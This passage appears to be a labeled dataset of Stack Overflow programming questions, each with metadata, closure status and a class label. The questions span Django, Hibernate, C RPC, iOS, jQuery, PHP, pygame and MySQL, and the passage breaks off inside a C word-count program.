When i try to save the form I get the following error:
Cannot set values on a ManyToManyField which specifies an intermediary model.
I know this is happening when I do the form.save_m2m() because of the through table. What I'd liek to do is tell Django to ignore the m2m field with the through table but still save the m2m field without the through table. I can then go on to manually save the data for the through table field.
Thanks | django | forms | m2m | many-to-many | null | null | open | Django Forms save_m2m
===
Hi I have a model which has 2 many to many fields in it. one is a standard m2m field which does not use any through tables whereas the other is a bit more complecated and has a through table. I am using the Django forms.modelform to display and save the forms. The code I have to save the form is
if form.is_valid():
f = form.save(commit=False)
f.modified_by = request.user
f.save()
form.save_m2m()
When i try to save the form I get the following error:
Cannot set values on a ManyToManyField which specifies an intermediary model.
I know this is happening when I do the form.save_m2m() because of the through table. What I'd liek to do is tell Django to ignore the m2m field with the through table but still save the m2m field without the through table. I can then go on to manually save the data for the through table field.
Thanks | 0 |
9,380,883 | 02/21/2012 16:09:17 | 106,261 | 05/13/2009 12:31:38 | 4,603 | 296 | Hibernate Crieria multiple table joins | Assuming my entities are set up correctly, will this work :
final Criteria criteria = session.createCriteria(Customer.class);
criteria.createCriteria("city")
.createCriteria("country")
.add(Restrictions.eq("name", "Jamaica");
return criteria.list(); | java | hibernate | criteria | null | null | 02/23/2012 02:06:51 | not a real question | Hibernate Crieria multiple table joins
===
Assuming my entities are set up correctly, will this work :
final Criteria criteria = session.createCriteria(Customer.class);
criteria.createCriteria("city")
.createCriteria("country")
.add(Restrictions.eq("name", "Jamaica");
return criteria.list(); | 1 |
7,626,651 | 10/02/2011 13:36:09 | 808,486 | 06/21/2011 13:06:46 | 48 | 8 | Undefined reference to svc_create | My problem is the following: I'm trying to implement a C RPC example and I keep running into the following compiler error:
remote_exec.c: In function ‘main’:
remote_exec.c:13:3: warning: implicit declaration of function ‘svc_create’
remote_exec.o: In function `main':
remote_exec.c:(.text+0x31): undefined reference to `svc_create'
collect2: ld returned 1 exit status
My code:
#include <stdio.h>
#include <rpc/rpc.h>
#include "rls.h"
int main(int argc, char* argv[])
{
extern void execute();
const char* nettype = "tcp";
int no_of_handles;
no_of_handles = svc_create(execute, EXECPROG, EXECVERS, nettype);
svc_run();
return 0;
}
I really don't know how to solve this. The man page and all the examples I've studied just say to include rpc/rpc.h, however it doesn't seem to work. I am compiling with
gcc -Wall -c
| c | gcc | compiler | compiler-errors | rpc | null | open | Undefined reference to svc_create
===
My problem is the following: I'm trying to implement a C RPC example and I keep running into the following compiler error:
remote_exec.c: In function ‘main’:
remote_exec.c:13:3: warning: implicit declaration of function ‘svc_create’
remote_exec.o: In function `main':
remote_exec.c:(.text+0x31): undefined reference to `svc_create'
collect2: ld returned 1 exit status
My code:
#include <stdio.h>
#include <rpc/rpc.h>
#include "rls.h"
int main(int argc, char* argv[])
{
extern void execute();
const char* nettype = "tcp";
int no_of_handles;
no_of_handles = svc_create(execute, EXECPROG, EXECVERS, nettype);
svc_run();
return 0;
}
I really don't know how to solve this. The man page and all the examples I've studied just say to include rpc/rpc.h, however it doesn't seem to work. I am compiling with
gcc -Wall -c
| 0 |
7,239,488 | 08/30/2011 06:32:21 | 913,449 | 08/26/2011 06:00:57 | 1 | 0 | regaining accidentally deleted files | I went
$sudo python
>dir="bla/python2.6/dist-packages"
>file="bla1.egg"
>import shutil
>shutil.rmtree(dir)
.......oops, meant to do shutil.rmtree(file)
| python-2.6 | null | null | null | null | 08/30/2011 07:11:04 | off topic | regaining accidentally deleted files
===
I went
$sudo python
>dir="bla/python2.6/dist-packages"
>file="bla1.egg"
>import shutil
>shutil.rmtree(dir)
.......oops, meant to do shutil.rmtree(file)
| 2 |
9,973,701 | 04/02/2012 09:14:56 | 874,954 | 08/02/2011 15:30:51 | 1 | 0 | How to enable keep alive in ios CFSocket? | How can i enable keep alive in ios app (CFSocket class). | ios | keep-alive | cfsocket | null | null | 04/05/2012 19:53:23 | not a real question | How to enable keep alive in ios CFSocket?
===
How can i enable keep alive in ios app (CFSocket class). | 1 |
7,160,742 | 08/23/2011 12:03:02 | 431,121 | 08/25/2010 19:32:56 | 83 | 5 | Web Application - Solutions to repeating tasks | While working on web application development I have come to realized that most of my time developing is consumed on the same (or pretty much the same) repeating tasks, such as
- Form creations
- Server/client side validation
- Data grid display (with sorting/filters)
- etc (CRUD operations in general)
And even though we've speed things up by using various tools out there such as jquery validator, or DataTables or Zend_Form it still takes me a lot of time to do trivial tasks.
So I've been wondering, what do you usually do? How can you streamline these tasks (or any other task that I've not mentioned but you find trivial but you tend to repeat it constantly)
| gui | design-patterns | null | null | null | 08/25/2011 00:51:13 | not constructive | Web Application - Solutions to repeating tasks
===
While working on web application development I have come to realized that most of my time developing is consumed on the same (or pretty much the same) repeating tasks, such as
- Form creations
- Server/client side validation
- Data grid display (with sorting/filters)
- etc (CRUD operations in general)
And even though we've speed things up by using various tools out there such as jquery validator, or DataTables or Zend_Form it still takes me a lot of time to do trivial tasks.
So I've been wondering, what do you usually do? How can you streamline these tasks (or any other task that I've not mentioned but you find trivial but you tend to repeat it constantly)
| 4 |
1,578,770 | 10/16/2009 15:23:00 | 102,398 | 05/06/2009 18:27:08 | 77 | 0 | Setting report to current date | I have a report where it shows meetings and their requirements. However i just want the report to show ONLY today's stuff--not the entire week's worth.
I tried setting my group header (i'm grouping by day) to currentdate but yet it still shows me the entire week. I then have to go to the grouping tree and select today's date. Is there any way to run my report and have it ONLY show today's stuff and nothing else???
Any ideas? | crystal-reports | datetime | null | null | null | null | open | Setting report to current date
===
I have a report where it shows meetings and their requirements. However i just want the report to show ONLY today's stuff--not the entire week's worth.
I tried setting my group header (i'm grouping by day) to currentdate but yet it still shows me the entire week. I then have to go to the grouping tree and select today's date. Is there any way to run my report and have it ONLY show today's stuff and nothing else???
Any ideas? | 0 |
6,298,485 | 06/09/2011 19:56:17 | 791,642 | 06/09/2011 19:56:17 | 1 | 0 | working build ant - mac | For example:
<project basedir=".">
where, basedir:
/Users/xxx/Documents/wspace/myappEar
how to use return parent directory to use like this:
/Users/xxx/Documents/wspace/
To do this i've tried
<property name="workspace.dir" value="${basedir}\.." />
and does not work in my mac os.
Any Idea what is the problem?
Regardles
Mugo | apache | osx | ant | operating-system | null | null | open | working build ant - mac
===
For example:
<project basedir=".">
where, basedir:
/Users/xxx/Documents/wspace/myappEar
how to use return parent directory to use like this:
/Users/xxx/Documents/wspace/
To do this i've tried
<property name="workspace.dir" value="${basedir}\.." />
and does not work in my mac os.
Any Idea what is the problem?
Regardles
Mugo | 0 |
6,536,475 | 06/30/2011 14:37:18 | 821,641 | 06/29/2011 17:40:28 | 10 | 0 | Sorting a JQuery list, populated from a JSon array. | I tried many different methods but can't seem to work this one out.
I have a JSon array which populates my JQuery list. The list displays correctly, but I cant seem to be able to filter it.
I'd like to be able to filter by name or price. I tried the JQuery .Filter method and many others, and they all failed. I'd also like to make it as a link. ( The user clicks sort by name, and it sorts... )
Heres what I have so far, which I was convinced would work.
Any help is greatly appreciated, Thanks !
.js file :
<pre><code>
// Json array
var productList = {"products": [
{"description": "Product 1", "price": "3.25"},
{"description": "Product 4", "price": "9.97"},
{"description": "Product 3", "price": "4.21"},
{"description": "Product 2", "price": "5.24"},
{"description": "Product 5", "price": "8.52"}
]
};
function loadList() {
var list = $("#productList").listview();
// load array into list
$(productList.products).each(function(index) {
$(list).append('<li id="listitem">' + this.description + " " +
" : " + this.price + '</li>');
// sort by price
$(productList.products).filter(function ()
{ return parseFloat(this.price) < 11;})
});
$(list).listview("refresh");
}
| jquery | arrays | json | mobile | array-sorting | null | open | Sorting a JQuery list, populated from a JSon array.
===
I tried many different methods but can't seem to work this one out.
I have a JSon array which populates my JQuery list. The list displays correctly, but I cant seem to be able to filter it.
I'd like to be able to filter by name or price. I tried the JQuery .Filter method and many others, and they all failed. I'd also like to make it as a link. ( The user clicks sort by name, and it sorts... )
Heres what I have so far, which I was convinced would work.
Any help is greatly appreciated, Thanks !
.js file :
<pre><code>
// Json array
var productList = {"products": [
{"description": "Product 1", "price": "3.25"},
{"description": "Product 4", "price": "9.97"},
{"description": "Product 3", "price": "4.21"},
{"description": "Product 2", "price": "5.24"},
{"description": "Product 5", "price": "8.52"}
]
};
function loadList() {
var list = $("#productList").listview();
// load array into list
$(productList.products).each(function(index) {
$(list).append('<li id="listitem">' + this.description + " " +
" : " + this.price + '</li>');
// sort by price
$(productList.products).filter(function ()
{ return parseFloat(this.price) < 11;})
});
$(list).listview("refresh");
}
| 0 |
2,184,578 | 02/02/2010 14:11:38 | 225,394 | 12/05/2009 13:09:32 | 134 | 14 | How to retrive pair of columns from a DataTable as a Dictionary | I have a datatable that contains simple Key Value pair how do I return a dictionary object (DataTable.AsEnumerable().ToDictionary.... | c#-3.0 | null | null | null | null | null | open | How to retrive pair of columns from a DataTable as a Dictionary
===
I have a datatable that contains simple Key Value pair how do I return a dictionary object (DataTable.AsEnumerable().ToDictionary.... | 0 |
9,521,090 | 03/01/2012 17:35:05 | 711,416 | 04/16/2011 18:16:01 | 2,496 | 155 | PHP: Store and/or pass reference to class | Given the following structure:
class B
{
private $_b;
private __constructor() { }
public function setValue( $value )
{
$this->_b->setValue( $value );
}
public static function load( &$__b )
{
$B = new B();
$B->_b = $__b;
return $B;
}
}
class A
{
private $_b;
public function getB()
{
return B::load( $this->_b );
}
public function save()
{
$this->_b->save();
}
}
The following does not work:
$b = $_SESSION['a']->getB();
$b->setValue( 'value' );
$_SESSION['a']->save();
However, the following does work:
$_SESSION['a']->getB()->setValue( 'value' );
$_SESSION['a']->save();
I know someone here will see what's wrong, or if it's not even possible.
| php | class | variables | storage | pass-by-reference | 03/01/2012 22:20:46 | too localized | PHP: Store and/or pass reference to class
===
Given the following structure:
class B
{
private $_b;
private __constructor() { }
public function setValue( $value )
{
$this->_b->setValue( $value );
}
public static function load( &$__b )
{
$B = new B();
$B->_b = $__b;
return $B;
}
}
class A
{
private $_b;
public function getB()
{
return B::load( $this->_b );
}
public function save()
{
$this->_b->save();
}
}
The following does not work:
$b = $_SESSION['a']->getB();
$b->setValue( 'value' );
$_SESSION['a']->save();
However, the following does work:
$_SESSION['a']->getB()->setValue( 'value' );
$_SESSION['a']->save();
I know someone here will see what's wrong, or if it's not even possible.
| 3 |
10,277,017 | 04/23/2012 08:13:24 | 810,125 | 06/22/2011 10:03:39 | 62 | 5 | How to release a block | I am storing my blocks while my web service goes off and talks to my server. Therefore I am using `[myBlock copy]` to keep a reference to my block.
Once I have got my data, and executed the block, do I call `[myBlock release]`, or do I use `Block_release(myBlock)` ? I can find reference to both. | objective-c | ios | memory-management | objective-c-blocks | null | null | open | How to release a block
===
I am storing my blocks while my web service goes off and talks to my server. Therefore I am using `[myBlock copy]` to keep a reference to my block.
Once I have got my data, and executed the block, do I call `[myBlock release]`, or do I use `Block_release(myBlock)` ? I can find reference to both. | 0 |
5,054,294 | 02/19/2011 23:53:31 | 92,153 | 04/17/2009 14:44:59 | 509 | 8 | Interview Questions: Exception within Event Handler | 1) You have 10 Subscribers to an event in your application. Once you invoke the event, do the subscribers get notified synchronously or asynchronously?
2) You have 10 Subscribers to an event in your application. Now one event handler has a bad code and it throws an exception. Do the other nine event handlers still continue?
Thanks,
| c# | events | exception | order | net | null | open | Interview Questions: Exception within Event Handler
===
1) You have 10 Subscribers to an event in your application. Once you invoke the event, do the subscribers get notified synchronously or asynchronously?
2) You have 10 Subscribers to an event in your application. Now one event handler has a bad code and it throws an exception. Do the other nine event handlers still continue?
Thanks,
| 0 |
4,410,643 | 12/10/2010 15:56:44 | 262,325 | 01/30/2010 04:38:58 | 436 | 2 | function return different objects | I have a function(myFunction) with parameter v, I hope it can return different object depend the value of v.
something like below:
-(NSString*)myFunction:(NSInteger)v;
-(NSNumber*)myFunction:(NSInteger)v;
Is it possible?
Welcome any comment
Thanks interdev
| iphone | null | null | null | null | null | open | function return different objects
===
I have a function(myFunction) with parameter v, I hope it can return different object depend the value of v.
something like below:
-(NSString*)myFunction:(NSInteger)v;
-(NSNumber*)myFunction:(NSInteger)v;
Is it possible?
Welcome any comment
Thanks interdev
| 0 |
11,721,815 | 07/30/2012 12:41:36 | 1,554,670 | 07/26/2012 12:31:07 | 1 | 0 | Firemonkey iOS Application | I'm newbie in Mac OS and I have some problems with running Firemonkey iOS apps. I've installed OS X Lion 10.7.4 on Windows 7 with VMware Worksation 8.0.4. Then I installed Xcode 4.2, fpc 2.6.0 and Firemonkey iOS XE2. In Delphi XE2 Studio I've added DPR2XCODE and export to Xcode my project. When I try to compile it Xcode says "duplicate identidier SYSTEM" and I changed uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs;
to
SSysUtils, Types, UITypes, Classes, Variants,
FMX_Types, FMX_Controls, FMX_Forms, FMX_Dialogs;
After this Xcode says "Error: resource compiler 'windres', switching to external mode"
I don't know what to do with this error, help me please. Maybe I've done something wrong?
| ios | firemonkey | null | null | null | 08/01/2012 02:58:50 | not constructive | Firemonkey iOS Application
===
I'm newbie in Mac OS and I have some problems with running Firemonkey iOS apps. I've installed OS X Lion 10.7.4 on Windows 7 with VMware Worksation 8.0.4. Then I installed Xcode 4.2, fpc 2.6.0 and Firemonkey iOS XE2. In Delphi XE2 Studio I've added DPR2XCODE and export to Xcode my project. When I try to compile it Xcode says "duplicate identidier SYSTEM" and I changed uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs;
to
SSysUtils, Types, UITypes, Classes, Variants,
FMX_Types, FMX_Controls, FMX_Forms, FMX_Dialogs;
After this Xcode says "Error: resource compiler 'windres', switching to external mode"
I don't know what to do with this error, help me please. Maybe I've done something wrong?
| 4 |
1,289,063 | 08/17/2009 16:39:25 | 157,877 | 08/17/2009 16:32:53 | 1 | 0 | How to bypass document.domain limitations when opening local files? | I have a set of HTML files using JavaScript to generate navigation tools, indexing, TOC, etc. These files are only meant to be opened locally (e.g., file://) and not served on a web server. Since Firefox 3.x, we run into the following error when clicking a nav button that would generate a new frame for the TOC:
Error: Permission denied for <file://> to get property Location.href from <file://>.
I understand that this is due to security measures within FF 3.x that were not in 2.x, in that the document.domain does not match, so it's assuming this is cross-site scripting and is denying access.
Is there a way to get around this issue? Perhaps just a switch to turn off/on within Firefox? A bit of JavaScript code to get around it? | javascript | html | firefox | null | null | null | open | How to bypass document.domain limitations when opening local files?
===
I have a set of HTML files using JavaScript to generate navigation tools, indexing, TOC, etc. These files are only meant to be opened locally (e.g., file://) and not served on a web server. Since Firefox 3.x, we run into the following error when clicking a nav button that would generate a new frame for the TOC:
Error: Permission denied for <file://> to get property Location.href from <file://>.
I understand that this is due to security measures within FF 3.x that were not in 2.x, in that the document.domain does not match, so it's assuming this is cross-site scripting and is denying access.
Is there a way to get around this issue? Perhaps just a switch to turn off/on within Firefox? A bit of JavaScript code to get around it? | 0 |
7,642,181 | 10/04/2011 00:36:19 | 73,297 | 03/03/2009 16:58:26 | 14,603 | 454 | UIMenuController and the responder chain: what's going on? | I am using the UIMenuController on a custom UIView subclass. This means it can become first responder, and claims it `canPerformAction` on the "delete" action.
I would also like this view's superview (also a custom UIView) to be able to use the menu controller, so on that superview, I have marked it as being able to be first responder, and implemented `canPerformAction` for different actions ("copy" and "cut" in this case).
Here's the thing-- when I make the menu visible from the (first) subview, it puts all three actions in the menu: delete, copy, and cut. In the debugger, I see `canBecomeFirstResponder` and `canPerformAction` being invoked on both views before the menu appears.
What's going on here? Why isn't the menu controller restricted to the view that's become first responder? Or am I not diagnosing this correctly?
Thanks. | iphone | ios | uiview | first-responder | uimenucontroller | null | open | UIMenuController and the responder chain: what's going on?
===
I am using the UIMenuController on a custom UIView subclass. This means it can become first responder, and claims it `canPerformAction` on the "delete" action.
I would also like this view's superview (also a custom UIView) to be able to use the menu controller, so on that superview, I have marked it as being able to be first responder, and implemented `canPerformAction` for different actions ("copy" and "cut" in this case).
Here's the thing-- when I make the menu visible from the (first) subview, it puts all three actions in the menu: delete, copy, and cut. In the debugger, I see `canBecomeFirstResponder` and `canPerformAction` being invoked on both views before the menu appears.
What's going on here? Why isn't the menu controller restricted to the view that's become first responder? Or am I not diagnosing this correctly?
Thanks. | 0 |
9,332,667 | 02/17/2012 17:20:22 | 1,167,234 | 01/24/2012 14:41:04 | 334 | 24 | Cocoa without XCode | I would like to develop Mac applications, but don't want to use XCode. I have many reasons...
1. It's VERY slow...
2. It's complicated...
3. The Interface Builder seems like cheating and is not as satisfying. (I know, old school)
4. The whole developer tools set takes a lot of space and takes a long time to download (meanwhile slowing the rest of my computer down)
I know it's possible because I have seen some scripts compiled with gcc. Are there any tutorials? Are there any tips? I know how to run it, but I just need help learning how to use it without XCode making code for me. Is this a good plan, or is this just destined for failure? | osx | cocoa | gcc | null | null | 02/18/2012 03:35:23 | not constructive | Cocoa without XCode
===
I would like to develop Mac applications, but don't want to use XCode. I have many reasons...
1. It's VERY slow...
2. It's complicated...
3. The Interface Builder seems like cheating and is not as satisfying. (I know, old school)
4. The whole developer tools set takes a lot of space and takes a long time to download (meanwhile slowing the rest of my computer down)
I know it's possible because I have seen some scripts compiled with gcc. Are there any tutorials? Are there any tips? I know how to run it, but I just need help learning how to use it without XCode making code for me. Is this a good plan, or is this just destined for failure? | 4 |
11,428,369 | 07/11/2012 08:17:39 | 1,511,409 | 07/09/2012 08:28:30 | 1 | 0 | How do i UIWebView in Xcode4 | I want to build a application in xcode4 which will load a page in app inside.
I am following the bellow video
http://www.youtube.com/watch?v=yICZb91Poxs
Any help appreciated. | xcode | null | null | null | null | 07/11/2012 16:43:38 | not a real question | How do i UIWebView in Xcode4
===
I want to build a application in xcode4 which will load a page in app inside.
I am following the bellow video
http://www.youtube.com/watch?v=yICZb91Poxs
Any help appreciated. | 1 |
5,700,710 | 04/18/2011 09:10:21 | 713,097 | 04/18/2011 09:10:21 | 1 | 0 | how to optimize the query. | my current query is look like this:
SELECT distinct pg.id,pg.email,pg.theme,op.PaymentMode,od.DeliveryMode,uv1.value AS FirstName, uv2.value AS LastName, uv3.value AS Mobile, uv4.value AS City, uv5.value AS State, uv6.value AS Address
FROM userdb.user u,userdb.paymentgatewaytracker pg,
oms.deliverymode od,oms.paymentmode op,
userdb.uservar uv1
JOIN userdb.uservar uv2 ON uv1.user_id = uv2.user_id
AND uv2.name = 'billingLastName'
LEFT JOIN userdb.uservar uv3 ON uv1.user_id = uv3.user_id
AND uv3.name = 'billingMobile'
JOIN userdb.uservar uv4 ON uv1.user_id = uv4.user_id
AND uv4.name = 'billingCity'
JOIN userdb.uservar uv5 ON uv1.user_id = uv5.user_id
AND uv5.name = 'billingState'
JOIN userdb.uservar uv6 ON uv1.user_id = uv6.user_id
AND uv6.name = 'billingAddress'
where uv1.name = 'billingFirstName'
AND u.id = uv1.user_id
AND u.email=pg.email
and op.PaymentModeId=pg.paymethod
and od.DeliveryModeId=pg.deliveryOption
ORDER BY pg.id
this is giving me the correct result while i am checking in my localhost. but i want to display this in my browser. while i am trying to do this it is showing Fatal error: Maximum execution time of 30 seconds exceeded. but for small query i am getting result in my browser. can any one please optimize my query which i have given above.
| mysql | null | null | null | null | null | open | how to optimize the query.
===
my current query is look like this:
SELECT distinct pg.id,pg.email,pg.theme,op.PaymentMode,od.DeliveryMode,uv1.value AS FirstName, uv2.value AS LastName, uv3.value AS Mobile, uv4.value AS City, uv5.value AS State, uv6.value AS Address
FROM userdb.user u,userdb.paymentgatewaytracker pg,
oms.deliverymode od,oms.paymentmode op,
userdb.uservar uv1
JOIN userdb.uservar uv2 ON uv1.user_id = uv2.user_id
AND uv2.name = 'billingLastName'
LEFT JOIN userdb.uservar uv3 ON uv1.user_id = uv3.user_id
AND uv3.name = 'billingMobile'
JOIN userdb.uservar uv4 ON uv1.user_id = uv4.user_id
AND uv4.name = 'billingCity'
JOIN userdb.uservar uv5 ON uv1.user_id = uv5.user_id
AND uv5.name = 'billingState'
JOIN userdb.uservar uv6 ON uv1.user_id = uv6.user_id
AND uv6.name = 'billingAddress'
where uv1.name = 'billingFirstName'
AND u.id = uv1.user_id
AND u.email=pg.email
and op.PaymentModeId=pg.paymethod
and od.DeliveryModeId=pg.deliveryOption
ORDER BY pg.id
this is giving me the correct result while i am checking in my localhost. but i want to display this in my browser. while i am trying to do this it is showing Fatal error: Maximum execution time of 30 seconds exceeded. but for small query i am getting result in my browser. can any one please optimize my query which i have given above.
| 0 |
10,149,920 | 04/14/2012 00:21:58 | 997,112 | 10/15/2011 18:05:14 | 650 | 1 | Why do we have non-static functions/methods? | I was suddenly wondering why do we have non-static functions/methods? A method isn't a property of an object (like an attribute/data member) and all instances of that class use the same method, so why is there a differentiation between static and non-static methods? Does this mean when an object is instantiated it holds a copy of the methods - which are the exact same for all instances of that class? | java | c++ | oop | null | null | 04/14/2012 00:53:45 | not constructive | Why do we have non-static functions/methods?
===
I was suddenly wondering why do we have non-static functions/methods? A method isn't a property of an object (like an attribute/data member) and all instances of that class use the same method, so why is there a differentiation between static and non-static methods? Does this mean when an object is instantiated it holds a copy of the methods - which are the exact same for all instances of that class? | 4 |
10,858,700 | 06/01/2012 23:57:03 | 1,357,159 | 04/25/2012 20:22:41 | 90 | 0 | Repeating Tile Background pygame | Is there a feature similar to this in pygame?
screen.fill(pygame.image.load('brick.bmp').convert())
I would like to fill the window (background) with an image to produce an effect similar to this:
![enter image description here][1]
[1]: http://i.stack.imgur.com/H9kT6.jpg
My only idea would be to blit each brick onto the screen, but i think that would slow down the game. Does anyone have an idea how to do this (and also provide some example code)? | python | opengl | pygame | null | null | null | open | Repeating Tile Background pygame
===
Is there a feature similar to this in pygame?
screen.fill(pygame.image.load('brick.bmp').convert())
I would like to fill the window (background) with an image to produce an effect similar to this:
![enter image description here][1]
[1]: http://i.stack.imgur.com/H9kT6.jpg
My only idea would be to blit each brick onto the screen, but i think that would slow down the game. Does anyone have an idea how to do this (and also provide some example code)? | 0 |
5,872,403 | 05/03/2011 16:08:14 | 559,142 | 12/31/2010 09:33:03 | 341 | 2 | Worst Case Analysis | Under what circumstances, if at all, is worst case analysis preferable over other analyses...? | algorithm | code-analysis | analysis | worst-case | null | 05/03/2011 16:15:48 | not a real question | Worst Case Analysis
===
Under what circumstances, if at all, is worst case analysis preferable over other analyses...? | 1 |
8,342,804 | 12/01/2011 14:19:48 | 923,056 | 09/01/2011 08:07:02 | 1 | 0 | which website is better for android developer | which website is better for android developer?I'm a beginner for android develop,so i want to know and study some about android new message.
thanks in for advance. | android | null | null | null | null | 12/01/2011 14:30:59 | not a real question | which website is better for android developer
===
which website is better for android developer?I'm a beginner for android develop,so i want to know and study some about android new message.
thanks in for advance. | 1 |
9,957,839 | 03/31/2012 16:54:25 | 1,114,296 | 12/24/2011 05:31:57 | 18 | 0 | Word Count program in C? | I need a bit of guidance with writing a C program...a bit of quick background as to my level, I've programmed in Java previously, but this is my first time programming in C, and we've been tasked to translate a word count program from Java to C that consists of the following:
1. Read a file from memory
2. Count the words in the file
3. For each occurrence of a unique word, keep a word counter variable
4. Print out the top ten most frequent words and their corresponding occurrences
Here's the source program in Java:
package lab0;
import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Collections;
public class WordCount {
private ArrayList<WordCountNode> outputlist = null;
public WordCount(){
this.outputlist = new ArrayList<WordCountNode>();
}
/**
* Read the file into memory.
*
* @param filename name of the file.
* @return content of the file.
* @throws Exception if the file is too large or other file related exception.
*/
public char[] readFile(String filename) throws Exception{
char [] result = null;
File file = new File(filename);
long size = file.length();
if (size > Integer.MAX_VALUE){
throw new Exception("File is too large");
}
result = new char[(int)size];
FileReader reader = new FileReader(file);
int len, offset = 0, size2read = (int)size;
while(size2read > 0){
len = reader.read(result, offset, size2read);
if(len == -1)
break;
size2read -= len;
offset += len;
}
return result;
}
/**
* Make article word by word.
*
* @param article the content of file to be counted.
* @return string contains only letters and "'".
*/
private enum SPLIT_STATE {IN_WORD, NOT_IN_WORD};
/**
* Go through article, find all the words and add to output list
* with their count.
*
* @param article the content of the file to be counted.
* @return words in the file and their counts.
*/
public ArrayList<WordCountNode> countWords(char[] article){
SPLIT_STATE state = SPLIT_STATE.NOT_IN_WORD;
if(null == article)
return null;
char curr_ltr;
int curr_start = 0;
for(int i = 0; i < article.length; i++){
curr_ltr = Character.toUpperCase( article[i]);
if(state == SPLIT_STATE.IN_WORD){
article[i] = curr_ltr;
if ((curr_ltr < 'A' || curr_ltr > 'Z') && curr_ltr != '\'') {
article[i] = ' ';
//printf("\nthe word is %s\n\n",curr_start);
if(i - curr_start < 0){
System.out.println("i = " + i + " curr_start = " + curr_start);
}
addWord(new String(article, curr_start, i-curr_start));
state = SPLIT_STATE.NOT_IN_WORD;
}
}else{
if (curr_ltr >= 'A' && curr_ltr <= 'Z') {
curr_start = i;
article[i] = curr_ltr;
state = SPLIT_STATE.IN_WORD;
}
}
}
return outputlist;
}
/**
* Add the word to output list.
*/
public void addWord(String word){
int pos = dobsearch(word);
if(pos >= outputlist.size()){
outputlist.add(new WordCountNode(1L, word));
}else{
WordCountNode tmp = outputlist.get(pos);
if(tmp.getWord().compareTo(word) == 0){
tmp.setCount(tmp.getCount() + 1);
}else{
outputlist.add(pos, new WordCountNode(1L, word));
}
}
}
/**
* Search the output list and return the position to put word.
* @param word is the word to be put into output list.
* @return position in the output list to insert the word.
*/
public int dobsearch(String word){
int cmp, high = outputlist.size(), low = -1, next;
// Binary search the array to find the key
while (high - low > 1) {
next = (high + low) / 2;
// all in upper case
cmp = word.compareTo((outputlist.get(next)).getWord());
if (cmp == 0)
return next;
else if (cmp < 0)
high = next;
else
low = next;
}
return high;
}
public static void main(String args[]){
// handle input
if (args.length == 0){
System.out.println("USAGE: WordCount <filename> [Top # of results to display]\n");
System.exit(1);
}
String filename = args[0];
int dispnum;
try{
dispnum = Integer.parseInt(args[1]);
}catch(Exception e){
dispnum = 10;
}
long start_time = Calendar.getInstance().getTimeInMillis();
WordCount wordcount = new WordCount();
System.out.println("Wordcount: Running...");
// read file
char[] input = null;
try {
input = wordcount.readFile(filename);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.exit(1);
}
// count all word
ArrayList<WordCountNode> result = wordcount.countWords(input);
long end_time = Calendar.getInstance().getTimeInMillis();
System.out.println("wordcount: completed " + (end_time - start_time)/1000000 +
"." + (end_time - start_time)%1000000 + "(s)");
System.out.println("wordsort: running ...");
start_time = Calendar.getInstance().getTimeInMillis();
Collections.sort(result);
end_time = Calendar.getInstance().getTimeInMillis();
System.out.println("wordsort: completed " + (end_time - start_time)/1000000 +
"." + (end_time - start_time)%1000000 + "(s)");
Collections.reverse(result);
System.out.println("\nresults (TOP "+ dispnum +" from "+ result.size() +"):\n" );
// print out result
String str ;
for (int i = 0; i < result.size() && i < dispnum; i++){
if(result.get(i).getWord().length() > 15)
str = result.get(i).getWord().substring(0, 14);
else
str = result.get(i).getWord();
System.out.println(str + " - " + result.get(i).getCount());
}
}
public class WordCountNode implements Comparable{
private String word;
private long count;
public WordCountNode(long count, String word){
this.count = count;
this.word = word;
}
public String getWord() {
return word;
}
public void setWord(String word) {
this.word = word;
}
public long getCount() {
return count;
}
public void setCount(long count) {
this.count = count;
}
public int compareTo(Object arg0) {
// TODO Auto-generated method stub
WordCountNode obj = (WordCountNode)arg0;
if( count - obj.getCount() < 0)
return -1;
else if( count - obj.getCount() == 0)
return 0;
else
return 1;
}
}
}
Here's my attempt (so far) in C:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
// Read in a file
FILE *readFile (char filename[]) {
FILE *inputFile;
inputFile = fopen (filename, "r");
if (inputFile == NULL) {
printf ("File could not be opened.\n");
exit (EXIT_FAILURE);
}
return inputFile;
}
// Return number of words in an array
int wordCount (FILE *filePointer, char filename[]) {//, char *words[]) {
// count words
int count = 0;
char temp;
while ((temp = getc(filePointer)) != EOF) {
//printf ("%c", temp);
if ((temp == ' ' || temp == '\n') && (temp != '\''))
count++;
}
count += 1; // counting method uses space AFTER last character in word - the last space
// of the last character isn't counted - off by one error
// close file
fclose (filePointer);
return count;
}
// Print out the frequencies of the 10 most frequent words in the console
int main (int argc, char *argv[]) {
/* Step 1: Read in file and check for errors */
FILE *filePointer;
filePointer = readFile (argv[1]);
/* Step 2: Do a word count to prep for array size */
int count = wordCount (filePointer, argv[1]);
printf ("Number of words is: %i\n", count);
/* Step 3: Create a 2D array to store words in the file */
// open file to reset marker to beginning of file
filePointer = fopen (argv[1], "r");
// store words in character array (each element in array = consecutive word)
char allWords[count][100]; // 100 is an arbitrary size - max length of word
int i,j;
char temp;
for (i = 0; i < count; i++) {
for (j = 0; j < 100; j++) { // labels are used with goto statements, not loops in C
temp = getc(filePointer);
if ((temp == ' ' || temp == '\n' || temp == EOF) && (temp != '\'') ) {
allWords[i][j] = '\0';
break;
} else {
allWords[i][j] = temp;
}
printf ("%c", allWords[i][j]);
}
printf ("\n");
}
// close file
fclose (filePointer);
/* Step 4: Use a simple selection sort algorithm to sort 2D char array */
// PStep 1: Compare two char arrays, and if
// (a) c1 > c2, return 2
// (b) c1 == c2, return 1
// (c) c1 < c2, return 0
qsort(allWords, count, sizeof(char[][]), pstrcmp);
/*
int k = 0, l = 0, m = 0;
char currentMax, comparedElement;
int max; // the largest element in the current 2D array
int elementToSort = 0; // elementToSort determines the element to swap with starting from the left
// Outer a iterates through number of swaps needed
for (k = 0; k < count - 1; k++) { // times of swaps
max = k; // max element set to k
// Inner b iterates through successive elements to fish out the largest element
for (m = k + 1; m < count - k; m++) {
currentMax = allWords[k][l];
comparedElement = allWords[m][l];
// Inner c iterates through successive chars to set the max vars to the largest
for (l = 0; (currentMax != '\0' || comparedElement != '\0'); l++) {
